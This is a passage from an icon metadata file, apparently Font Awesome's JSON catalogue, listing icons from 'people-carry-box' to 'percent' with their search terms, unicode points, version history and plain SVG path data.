        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 64a64 64 0 1 1 128 0A64 64 0 1 1 64 64zM25.9 233.4C29.3 191.9 64 160 105.6 160h44.8c27 0 51 13.4 65.5 34.1c-2.7 1.9-5.2 4-7.5 6.3l-64 64c-21.9 21.9-21.9 57.3 0 79.2L192 391.2V464c0 26.5-21.5 48-48 48H112c-26.5 0-48-21.5-48-48V348.3c-26.5-9.5-44.7-35.8-42.2-65.6l4.1-49.3zM448 64a64 64 0 1 1 128 0A64 64 0 1 1 448 64zM431.6 200.4c-2.3-2.3-4.9-4.4-7.5-6.3c14.5-20.7 38.6-34.1 65.5-34.1h44.8c41.6 0 76.3 31.9 79.7 73.4l4.1 49.3c2.5 29.8-15.7 56.1-42.2 65.6V464c0 26.5-21.5 48-48 48H496c-26.5 0-48-21.5-48-48V391.2l47.6-47.6c21.9-21.9 21.9-57.3 0-79.2l-64-64zM272 240v32h96V240c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l64 64c9.4 9.4 9.4 24.6 0 33.9l-64 64c-6.9 6.9-17.2 8.9-26.2 5.2s-14.8-12.5-14.8-22.2V336H272v32c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-64-64c-9.4-9.4-9.4-24.6 0-33.9l64-64c6.9-6.9 17.2-8.9 26.2-5.2s14.8 12.5 14.8 22.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 64a64 64 0 1 1 128 0A64 64 0 1 1 64 64zM25.9 233.4C29.3 191.9 64 160 105.6 160h44.8c27 0 51 13.4 65.5 34.1c-2.7 1.9-5.2 4-7.5 6.3l-64 64c-21.9 21.9-21.9 57.3 0 79.2L192 391.2V464c0 26.5-21.5 48-48 48H112c-26.5 0-48-21.5-48-48V348.3c-26.5-9.5-44.7-35.8-42.2-65.6l4.1-49.3zM448 64a64 64 0 1 1 128 0A64 64 0 1 1 448 64zM431.6 200.4c-2.3-2.3-4.9-4.4-7.5-6.3c14.5-20.7 38.6-34.1 65.5-34.1h44.8c41.6 0 76.3 31.9 79.7 73.4l4.1 49.3c2.5 29.8-15.7 56.1-42.2 65.6V464c0 26.5-21.5 48-48 48H496c-26.5 0-48-21.5-48-48V391.2l47.6-47.6c21.9-21.9 21.9-57.3 0-79.2l-64-64zM272 240v32h96V240c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l64 64c9.4 9.4 9.4 24.6 0 33.9l-64 64c-6.9 6.9-17.2 8.9-26.2 5.2s-14.8-12.5-14.8-22.2V336H272v32c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-64-64c-9.4-9.4-9.4-24.6 0-33.9l64-64c6.9-6.9 17.2-8.9 26.2-5.2s14.8 12.5 14.8 22.2z"
      }
    },
    "free": ["solid"]
  },
  "people-carry-box": {
    "aliases": {
      "names": ["people-carry"],
      "unicodes": {
        "secondary": ["10f4ce"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f4ce",
    "label": "People Carry Box",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M80 48a48 48 0 1 1 96 0A48 48 0 1 1 80 48zm64 193.7v65.1l51 51c7.1 7.1 11.8 16.2 13.4 26.1l15.2 90.9c2.9 17.4-8.9 33.9-26.3 36.8s-33.9-8.9-36.8-26.3l-14.3-85.9L66.8 320C54.8 308 48 291.7 48 274.7V186.6c0-32.4 26.2-58.6 58.6-58.6c24.1 0 46.5 12 59.9 32l47.4 71.1 10.1 5V160c0-17.7 14.3-32 32-32H384c17.7 0 32 14.3 32 32v76.2l10.1-5L473.5 160c13.3-20 35.8-32 59.9-32c32.4 0 58.6 26.2 58.6 58.6v88.1c0 17-6.7 33.3-18.7 45.3l-79.4 79.4-14.3 85.9c-2.9 17.4-19.4 29.2-36.8 26.3s-29.2-19.4-26.3-36.8l15.2-90.9c1.6-9.9 6.3-19 13.4-26.1l51-51V241.7l-19 28.5c-4.6 7-11 12.6-18.5 16.3l-59.6 29.8c-2.4 1.3-4.9 2.2-7.6 2.8c-2.6 .6-5.3 .9-7.9 .8H256.7c-2.5 .1-5-.2-7.5-.7c-2.9-.6-5.6-1.6-8.1-3l-59.5-29.8c-7.5-3.7-13.8-9.4-18.5-16.3l-19-28.5zM2.3 468.1L50.1 348.6l49.2 49.2-37.6 94c-6.6 16.4-25.2 24.4-41.6 17.8S-4.3 484.5 2.3 468.1zM512 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm77.9 348.6l47.8 119.5c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8l-37.6-94 49.2-49.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M80 48a48 48 0 1 1 96 0A48 48 0 1 1 80 48zm64 193.7v65.1l51 51c7.1 7.1 11.8 16.2 13.4 26.1l15.2 90.9c2.9 17.4-8.9 33.9-26.3 36.8s-33.9-8.9-36.8-26.3l-14.3-85.9L66.8 320C54.8 308 48 291.7 48 274.7V186.6c0-32.4 26.2-58.6 58.6-58.6c24.1 0 46.5 12 59.9 32l47.4 71.1 10.1 5V160c0-17.7 14.3-32 32-32H384c17.7 0 32 14.3 32 32v76.2l10.1-5L473.5 160c13.3-20 35.8-32 59.9-32c32.4 0 58.6 26.2 58.6 58.6v88.1c0 17-6.7 33.3-18.7 45.3l-79.4 79.4-14.3 85.9c-2.9 17.4-19.4 29.2-36.8 26.3s-29.2-19.4-26.3-36.8l15.2-90.9c1.6-9.9 6.3-19 13.4-26.1l51-51V241.7l-19 28.5c-4.6 7-11 12.6-18.5 16.3l-59.6 29.8c-2.4 1.3-4.9 2.2-7.6 2.8c-2.6 .6-5.3 .9-7.9 .8H256.7c-2.5 .1-5-.2-7.5-.7c-2.9-.6-5.6-1.6-8.1-3l-59.5-29.8c-7.5-3.7-13.8-9.4-18.5-16.3l-19-28.5zM2.3 468.1L50.1 348.6l49.2 49.2-37.6 94c-6.6 16.4-25.2 24.4-41.6 17.8S-4.3 484.5 2.3 468.1zM512 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm77.9 348.6l47.8 119.5c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8l-37.6-94 49.2-49.2z"
      }
    },
    "free": ["solid"]
  },
  "people-group": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["family", "group", "team"]
    },
    "styles": ["solid"],
    "unicode": "e533",
    "label": "People Group",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M72 88a56 56 0 1 1 112 0A56 56 0 1 1 72 88zM64 245.7C54 256.9 48 271.8 48 288s6 31.1 16 42.3V245.7zm144.4-49.3C178.7 222.7 160 261.2 160 304c0 34.3 12 65.8 32 90.5V416c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V389.2C26.2 371.2 0 332.7 0 288c0-61.9 50.1-112 112-112h32c24 0 46.2 7.5 64.4 20.3zM448 416V394.5c20-24.7 32-56.2 32-90.5c0-42.8-18.7-81.3-48.4-107.7C449.8 183.5 472 176 496 176h32c61.9 0 112 50.1 112 112c0 44.7-26.2 83.2-64 101.2V416c0 17.7-14.3 32-32 32H480c-17.7 0-32-14.3-32-32zm8-328a56 56 0 1 1 112 0A56 56 0 1 1 456 88zM576 245.7v84.7c10-11.3 16-26.1 16-42.3s-6-31.1-16-42.3zM320 32a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM240 304c0 16.2 6 31 16 42.3V261.7c-10 11.3-16 26.1-16 42.3zm144-42.3v84.7c10-11.3 16-26.1 16-42.3s-6-31.1-16-42.3zM448 304c0 44.7-26.2 83.2-64 101.2V448c0 17.7-14.3 32-32 32H288c-17.7 0-32-14.3-32-32V405.2c-37.8-18-64-56.5-64-101.2c0-61.9 50.1-112 112-112h32c61.9 0 112 50.1 112 112z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M72 88a56 56 0 1 1 112 0A56 56 0 1 1 72 88zM64 245.7C54 256.9 48 271.8 48 288s6 31.1 16 42.3V245.7zm144.4-49.3C178.7 222.7 160 261.2 160 304c0 34.3 12 65.8 32 90.5V416c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V389.2C26.2 371.2 0 332.7 0 288c0-61.9 50.1-112 112-112h32c24 0 46.2 7.5 64.4 20.3zM448 416V394.5c20-24.7 32-56.2 32-90.5c0-42.8-18.7-81.3-48.4-107.7C449.8 183.5 472 176 496 176h32c61.9 0 112 50.1 112 112c0 44.7-26.2 83.2-64 101.2V416c0 17.7-14.3 32-32 32H480c-17.7 0-32-14.3-32-32zm8-328a56 56 0 1 1 112 0A56 56 0 1 1 456 88zM576 245.7v84.7c10-11.3 16-26.1 16-42.3s-6-31.1-16-42.3zM320 32a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM240 304c0 16.2 6 31 16 42.3V261.7c-10 11.3-16 26.1-16 42.3zm144-42.3v84.7c10-11.3 16-26.1 16-42.3s-6-31.1-16-42.3zM448 304c0 44.7-26.2 83.2-64 101.2V448c0 17.7-14.3 32-32 32H288c-17.7 0-32-14.3-32-32V405.2c-37.8-18-64-56.5-64-101.2c0-61.9 50.1-112 112-112h32c61.9 0 112 50.1 112 112z"
      }
    },
    "free": ["solid"]
  },
  "people-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["group", "need"]
    },
    "styles": ["solid"],
    "unicode": "e534",
    "label": "People Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M360 72a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zM144 208a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM496 208a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM200 313.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-36.3-67.5c1.7-1.7 3.2-3.6 4.3-5.8L264 217.5V272c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V217.5l26.9 49.9c1.2 2.2 2.6 4.1 4.3 5.8l-36.3 67.5c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L440 313.5V352c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V313.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-37.9-70.3c-15.3-28.5-45.1-46.3-77.5-46.3H486.2c-16.3 0-31.9 4.5-45.4 12.6l-33.6-62.3c-15.3-28.5-45.1-46.3-77.5-46.3H310.2c-32.4 0-62.1 17.8-77.5 46.3l-33.6 62.3c-13.5-8.1-29.1-12.6-45.4-12.6H134.2c-32.4 0-62.1 17.8-77.5 46.3L18.9 340.6c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L88 313.5V352c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V313.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M360 72a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zM144 208a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM496 208a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM200 313.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-36.3-67.5c1.7-1.7 3.2-3.6 4.3-5.8L264 217.5V272c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V217.5l26.9 49.9c1.2 2.2 2.6 4.1 4.3 5.8l-36.3 67.5c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L440 313.5V352c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V313.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-37.9-70.3c-15.3-28.5-45.1-46.3-77.5-46.3H486.2c-16.3 0-31.9 4.5-45.4 12.6l-33.6-62.3c-15.3-28.5-45.1-46.3-77.5-46.3H310.2c-32.4 0-62.1 17.8-77.5 46.3l-33.6 62.3c-13.5-8.1-29.1-12.6-45.4-12.6H134.2c-32.4 0-62.1 17.8-77.5 46.3L18.9 340.6c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L88 313.5V352c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V313.5z"
      }
    },
    "free": ["solid"]
  },
  "people-pulling": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["forced return", "yanking"]
    },
    "styles": ["solid"],
    "unicode": "e535",
    "label": "People Pulling",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M80 96A48 48 0 1 0 80 0a48 48 0 1 0 0 96zM64 128c-35.3 0-64 28.7-64 64V320c0 17.7 14.3 32 32 32c9.8 0 18.5-4.4 24.4-11.2L80.4 485.3c2.9 17.4 19.4 29.2 36.8 26.3s29.2-19.4 26.3-36.8L123.1 352h15.7l30 134.9c3.8 17.3 20.9 28.1 38.2 24.3s28.1-20.9 24.3-38.2l-57.3-258 116.3 53.8c.5 .3 1.1 .5 1.6 .7c8.6 3.6 18 3.1 25.9-.7c3.4-1.6 6.6-3.9 9.3-6.7c3.1-3.2 5.5-7 7.1-11.4c.1-.3 .2-.7 .3-1l2.5-7.5c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L537 232.7l-15.3-36.8C504.5 154.8 464.3 128 419.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-24.4 10.9-44.6 29-58.1 51.6L157.3 136.9C144.7 131 130.9 128 117 128H64zM464 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM349.7 335.6l-25 62.4-59.4 59.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L372.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M80 96A48 48 0 1 0 80 0a48 48 0 1 0 0 96zM64 128c-35.3 0-64 28.7-64 64V320c0 17.7 14.3 32 32 32c9.8 0 18.5-4.4 24.4-11.2L80.4 485.3c2.9 17.4 19.4 29.2 36.8 26.3s29.2-19.4 26.3-36.8L123.1 352h15.7l30 134.9c3.8 17.3 20.9 28.1 38.2 24.3s28.1-20.9 24.3-38.2l-57.3-258 116.3 53.8c.5 .3 1.1 .5 1.6 .7c8.6 3.6 18 3.1 25.9-.7c3.4-1.6 6.6-3.9 9.3-6.7c3.1-3.2 5.5-7 7.1-11.4c.1-.3 .2-.7 .3-1l2.5-7.5c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L537 232.7l-15.3-36.8C504.5 154.8 464.3 128 419.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-24.4 10.9-44.6 29-58.1 51.6L157.3 136.9C144.7 131 130.9 128 117 128H64zM464 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM349.7 335.6l-25 62.4-59.4 59.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L372.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6z"
      }
    },
    "free": ["solid"]
  },
  "people-robbery": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["criminal", "hands up", "looting", "robbery", "steal"]
    },
    "styles": ["solid"],
    "unicode": "e536",
    "label": "People Robbery",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M488.2 59.1C478.1 99.6 441.7 128 400 128s-78.1-28.4-88.2-68.9L303 24.2C298.8 7.1 281.4-3.3 264.2 1S236.7 22.6 241 39.8l8.7 34.9c11 44 40.2 79.6 78.3 99.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V174.3c38.1-20 67.3-55.6 78.3-99.6L559 39.8c4.3-17.1-6.1-34.5-23.3-38.8S501.2 7.1 497 24.2l-8.7 34.9zM400 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM80 96A48 48 0 1 0 80 0a48 48 0 1 0 0 96zm-8 32c-35.3 0-64 28.7-64 64v96l0 .6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352H88V480c0 17.7 14.3 32 32 32s32-14.3 32-32V252.7l13 20.5c5.9 9.2 16.1 14.9 27 14.9h48c17.7 0 32-14.3 32-32s-14.3-32-32-32H209.6l-37.4-58.9C157.6 142 132.1 128 104.7 128H72z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M488.2 59.1C478.1 99.6 441.7 128 400 128s-78.1-28.4-88.2-68.9L303 24.2C298.8 7.1 281.4-3.3 264.2 1S236.7 22.6 241 39.8l8.7 34.9c11 44 40.2 79.6 78.3 99.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V174.3c38.1-20 67.3-55.6 78.3-99.6L559 39.8c4.3-17.1-6.1-34.5-23.3-38.8S501.2 7.1 497 24.2l-8.7 34.9zM400 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM80 96A48 48 0 1 0 80 0a48 48 0 1 0 0 96zm-8 32c-35.3 0-64 28.7-64 64v96l0 .6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352H88V480c0 17.7 14.3 32 32 32s32-14.3 32-32V252.7l13 20.5c5.9 9.2 16.1 14.9 27 14.9h48c17.7 0 32-14.3 32-32s-14.3-32-32-32H209.6l-37.4-58.9C157.6 142 132.1 128 104.7 128H72z"
      }
    },
    "free": ["solid"]
  },
  "people-roof": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["family", "group", "manage", "people", "safe", "shelter"]
    },
    "styles": ["solid"],
    "unicode": "e537",
    "label": "People Roof",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M335.5 4l288 160c15.4 8.6 21 28.1 12.4 43.5s-28.1 21-43.5 12.4L320 68.6 47.5 220c-15.4 8.6-34.9 3-43.5-12.4s-3-34.9 12.4-43.5L304.5 4c9.7-5.4 21.4-5.4 31.1 0zM320 160a40 40 0 1 1 0 80 40 40 0 1 1 0-80zM144 256a40 40 0 1 1 0 80 40 40 0 1 1 0-80zm312 40a40 40 0 1 1 80 0 40 40 0 1 1 -80 0zM226.9 491.4L200 441.5V480c0 17.7-14.3 32-32 32H120c-17.7 0-32-14.3-32-32V441.5L61.1 491.4c-6.3 11.7-20.8 16-32.5 9.8s-16-20.8-9.8-32.5l37.9-70.3c15.3-28.5 45.1-46.3 77.5-46.3h19.5c16.3 0 31.9 4.5 45.4 12.6l33.6-62.3c15.3-28.5 45.1-46.3 77.5-46.3h19.5c32.4 0 62.1 17.8 77.5 46.3l33.6 62.3c13.5-8.1 29.1-12.6 45.4-12.6h19.5c32.4 0 62.1 17.8 77.5 46.3l37.9 70.3c6.3 11.7 1.9 26.2-9.8 32.5s-26.2 1.9-32.5-9.8L552 441.5V480c0 17.7-14.3 32-32 32H472c-17.7 0-32-14.3-32-32V441.5l-26.9 49.9c-6.3 11.7-20.8 16-32.5 9.8s-16-20.8-9.8-32.5l36.3-67.5c-1.7-1.7-3.2-3.6-4.3-5.8L376 345.5V400c0 17.7-14.3 32-32 32H296c-17.7 0-32-14.3-32-32V345.5l-26.9 49.9c-1.2 2.2-2.6 4.1-4.3 5.8l36.3 67.5c6.3 11.7 1.9 26.2-9.8 32.5s-26.2 1.9-32.5-9.8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M335.5 4l288 160c15.4 8.6 21 28.1 12.4 43.5s-28.1 21-43.5 12.4L320 68.6 47.5 220c-15.4 8.6-34.9 3-43.5-12.4s-3-34.9 12.4-43.5L304.5 4c9.7-5.4 21.4-5.4 31.1 0zM320 160a40 40 0 1 1 0 80 40 40 0 1 1 0-80zM144 256a40 40 0 1 1 0 80 40 40 0 1 1 0-80zm312 40a40 40 0 1 1 80 0 40 40 0 1 1 -80 0zM226.9 491.4L200 441.5V480c0 17.7-14.3 32-32 32H120c-17.7 0-32-14.3-32-32V441.5L61.1 491.4c-6.3 11.7-20.8 16-32.5 9.8s-16-20.8-9.8-32.5l37.9-70.3c15.3-28.5 45.1-46.3 77.5-46.3h19.5c16.3 0 31.9 4.5 45.4 12.6l33.6-62.3c15.3-28.5 45.1-46.3 77.5-46.3h19.5c32.4 0 62.1 17.8 77.5 46.3l33.6 62.3c13.5-8.1 29.1-12.6 45.4-12.6h19.5c32.4 0 62.1 17.8 77.5 46.3l37.9 70.3c6.3 11.7 1.9 26.2-9.8 32.5s-26.2 1.9-32.5-9.8L552 441.5V480c0 17.7-14.3 32-32 32H472c-17.7 0-32-14.3-32-32V441.5l-26.9 49.9c-6.3 11.7-20.8 16-32.5 9.8s-16-20.8-9.8-32.5l36.3-67.5c-1.7-1.7-3.2-3.6-4.3-5.8L376 345.5V400c0 17.7-14.3 32-32 32H296c-17.7 0-32-14.3-32-32V345.5l-26.9 49.9c-1.2 2.2-2.6 4.1-4.3 5.8l36.3 67.5c6.3 11.7 1.9 26.2-9.8 32.5s-26.2 1.9-32.5-9.8z"
      }
    },
    "free": ["solid"]
  },
  "pepper-hot": {
    "aliases": {
      "unicodes": {
        "composite": ["1f336"],
        "secondary": ["10f816"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "buffalo wings",
        "capsicum",
        "chili",
        "chilli",
        "habanero",
        "hot",
        "hot pepper",
        "jalapeno",
        "mexican",
        "pepper",
        "spicy",
        "tabasco",
        "vegetable"
      ]
    },
    "styles": ["solid"],
    "unicode": "f816",
    "label": "Pepper Hot",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M428.3 3c11.6-6.4 26.2-2.3 32.6 9.3l4.8 8.7c19.3 34.7 19.8 75.7 3.4 110C495.8 159.6 512 197.9 512 240c0 18.5-3.1 36.3-8.9 52.8c-6.1 17.3-28.5 16.3-36.8-.1l-11.7-23.4c-4.1-8.1-12.4-13.3-21.5-13.3H360c-13.3 0-24-10.7-24-24V152c0-13.3-10.7-24-24-24l-17.1 0c-21.3 0-30-23.9-10.8-32.9C304.7 85.4 327.7 80 352 80c28.3 0 54.8 7.3 77.8 20.2c5.5-18.2 3.7-38.4-6-55.8L419 35.7c-6.4-11.6-2.3-26.2 9.3-32.6zM171.2 345.5L264 160l40 0v80c0 26.5 21.5 48 48 48h76.2l23.9 47.8C372.3 443.9 244.3 512 103.2 512H44.4C19.9 512 0 492.1 0 467.6c0-20.8 14.5-38.8 34.8-43.3l49.8-11.1c37.6-8.4 69.5-33.2 86.7-67.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M428.3 3c11.6-6.4 26.2-2.3 32.6 9.3l4.8 8.7c19.3 34.7 19.8 75.7 3.4 110C495.8 159.6 512 197.9 512 240c0 18.5-3.1 36.3-8.9 52.8c-6.1 17.3-28.5 16.3-36.8-.1l-11.7-23.4c-4.1-8.1-12.4-13.3-21.5-13.3H360c-13.3 0-24-10.7-24-24V152c0-13.3-10.7-24-24-24l-17.1 0c-21.3 0-30-23.9-10.8-32.9C304.7 85.4 327.7 80 352 80c28.3 0 54.8 7.3 77.8 20.2c5.5-18.2 3.7-38.4-6-55.8L419 35.7c-6.4-11.6-2.3-26.2 9.3-32.6zM171.2 345.5L264 160l40 0v80c0 26.5 21.5 48 48 48h76.2l23.9 47.8C372.3 443.9 244.3 512 103.2 512H44.4C19.9 512 0 492.1 0 467.6c0-20.8 14.5-38.8 34.8-43.3l49.8-11.1c37.6-8.4 69.5-33.2 86.7-67.7z"
      }
    },
    "free": ["solid"]
  },
  "perbyte": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e083",
    "label": "PerByte",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M305.314,284.578H246.6V383.3h58.711q24.423,0,38.193-13.77t13.77-36.11q0-21.826-14.032-35.335T305.314,284.578ZM149.435,128.7H90.724v98.723h58.711q24.42,0,38.19-13.773t13.77-36.107q0-21.826-14.029-35.338T149.435,128.7ZM366.647,32H81.353A81.445,81.445,0,0,0,0,113.352V398.647A81.445,81.445,0,0,0,81.353,480H366.647A81.445,81.445,0,0,0,448,398.647V113.352A81.445,81.445,0,0,0,366.647,32Zm63.635,366.647a63.706,63.706,0,0,1-63.635,63.635H81.353a63.706,63.706,0,0,1-63.635-63.635V113.352A63.706,63.706,0,0,1,81.353,49.718H366.647a63.706,63.706,0,0,1,63.635,63.634ZM305.314,128.7H246.6v98.723h58.711q24.423,0,38.193-13.773t13.77-36.107q0-21.826-14.032-35.338T305.314,128.7Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M305.314,284.578H246.6V383.3h58.711q24.423,0,38.193-13.77t13.77-36.11q0-21.826-14.032-35.335T305.314,284.578ZM149.435,128.7H90.724v98.723h58.711q24.42,0,38.19-13.773t13.77-36.107q0-21.826-14.029-35.338T149.435,128.7ZM366.647,32H81.353A81.445,81.445,0,0,0,0,113.352V398.647A81.445,81.445,0,0,0,81.353,480H366.647A81.445,81.445,0,0,0,448,398.647V113.352A81.445,81.445,0,0,0,366.647,32Zm63.635,366.647a63.706,63.706,0,0,1-63.635,63.635H81.353a63.706,63.706,0,0,1-63.635-63.635V113.352A63.706,63.706,0,0,1,81.353,49.718H366.647a63.706,63.706,0,0,1,63.635,63.634ZM305.314,128.7H246.6v98.723h58.711q24.423,0,38.193-13.773t13.77-36.107q0-21.826-14.032-35.338T305.314,128.7Z"
      }
    },
    "free": ["brands"]
  },
  "percent": {
    "aliases": {
      "names": ["percentage"],
      "unicodes": {
        "composite": ["f295", "f541"],
        "primary": ["f295", "f541"],
        "secondary": ["1025", "10f295", "10f541"]
      }
    },
    "changes": ["4.5.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Percent Sign",
        "discount",
        "fraction",
        "proportion",
        "rate",
        "ratio"
      ]
    },
    "styles": ["solid"],
    "unicode": "25",
    "label": "Percent",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M374.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-320 320c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l320-320zM128 128A64 64 0 1 0 0 128a64 64 0 1 0 128 0zM384 384a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
